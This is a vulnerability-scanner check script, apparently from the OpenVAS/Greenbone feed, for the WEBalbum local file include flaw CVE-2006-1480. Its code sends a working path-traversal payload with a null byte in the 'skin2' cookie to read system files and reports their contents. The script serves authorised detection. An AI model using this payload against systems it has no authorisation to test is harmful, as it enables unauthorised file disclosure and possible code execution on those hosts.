WEBalbum Local File Include Vulnerability

# SPDX-FileCopyrightText: 2008 Josh Zlatin-Amishav
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.80094");
  script_version("2023-12-13T05:05:23+0000");
  script_tag(name:"last_modification", value:"2023-12-13 05:05:23 +0000 (Wed, 13 Dec 2023)");
  script_tag(name:"creation_date", value:"2008-10-24 23:33:44 +0200 (Fri, 24 Oct 2008)");
  script_tag(name:"cvss_base", value:"5.1");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:H/Au:N/C:P/I:P/A:P");
  script_cve_id("CVE-2006-1480");
  script_xref(name:"OSVDB", value:"24160");
  script_name("WEBalbum Local File Include Vulnerability");
  script_category(ACT_ATTACK);
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2008 Josh Zlatin-Amishav");
  script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "gb_php_http_detect.nasl", "os_detection.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_xref(name:"URL", value:"http://milw0rm.com/exploits/1608");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/17228");

  script_tag(name:"summary", value:"The remote web server is running WEBalbum which is affected by a
  local file include vulnerability.");

  script_tag(name:"insight", value:"The installed version of WEBalbum fails to sanitize user input to the
  'skin2' cookie in 'inc/inc_main.php' before using it to include arbitrary files.

  This flaw is only exploitable if PHP's 'magic_quotes_gpc' is disabled.");

  script_tag(name:"impact", value:"An unauthenticated attacker may be able to read arbitrary local files
  or include a local file that contains commands which will be executed on the remote host subject to the
  privileges of the web server process.");

  script_tag(name:"solution_type", value:"WillNotFix");

  script_tag(name:"solution", value:"No known solution was made available for at least one year
  since the disclosure of this vulnerability. Likely none will be provided anymore.
  General solution options are to upgrade to a newer release, disable respective features,
  remove the product or replace the product by another one.");

  script_tag(name:"qod_type", value:"remote_vul");

  exit(0);
}

include("host_details.inc");
include("os_func.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("list_array_func.inc");
include("misc_func.inc");

port = http_get_port( default:80 );
if( ! http_can_host_php( port:port ) )
  exit( 0 );

host = http_host_name( port:port );

foreach dir( make_list_unique( "/", http_cgi_dirs( port:port ) ) ) {

  if( dir == "/" ) dir = "";
  url = dir + "/index.php";
  buf = http_get_cache( item:url, port:port );
  if(!buf || "WEBalbum " >!< buf)
    continue;

  files = traversal_files();

  foreach pattern( keys( files ) ) {

    file = files[pattern];

    req = string( "GET ", url, " HTTP/1.1\r\n",
                  "Host: ", host, "\r\n",
                  "Cookie: skin2=../../../../../../" + file + "%00\r\n",
                  "\r\n" );
    res = http_keepalive_send_recv( port:port, data:req, bodyonly:TRUE );

    # There's a problem if there's an entry for root
    if( 'inc_main.php' >< res && egrep( pattern:pattern, string:res ) ) {

      content = res - strstr( res, "<br />" );

      report = http_report_vuln_url( port:port, url:url ) + '\n\n';
      report += string( "Here are the contents of the file '/" + file + "' that\n",
                        " the scanner was able to read from the remote host :\n",
                        "\n", content );

      security_message( port:port, data:report );
      exit( 0 );
    }
  }
}

exit( 99 );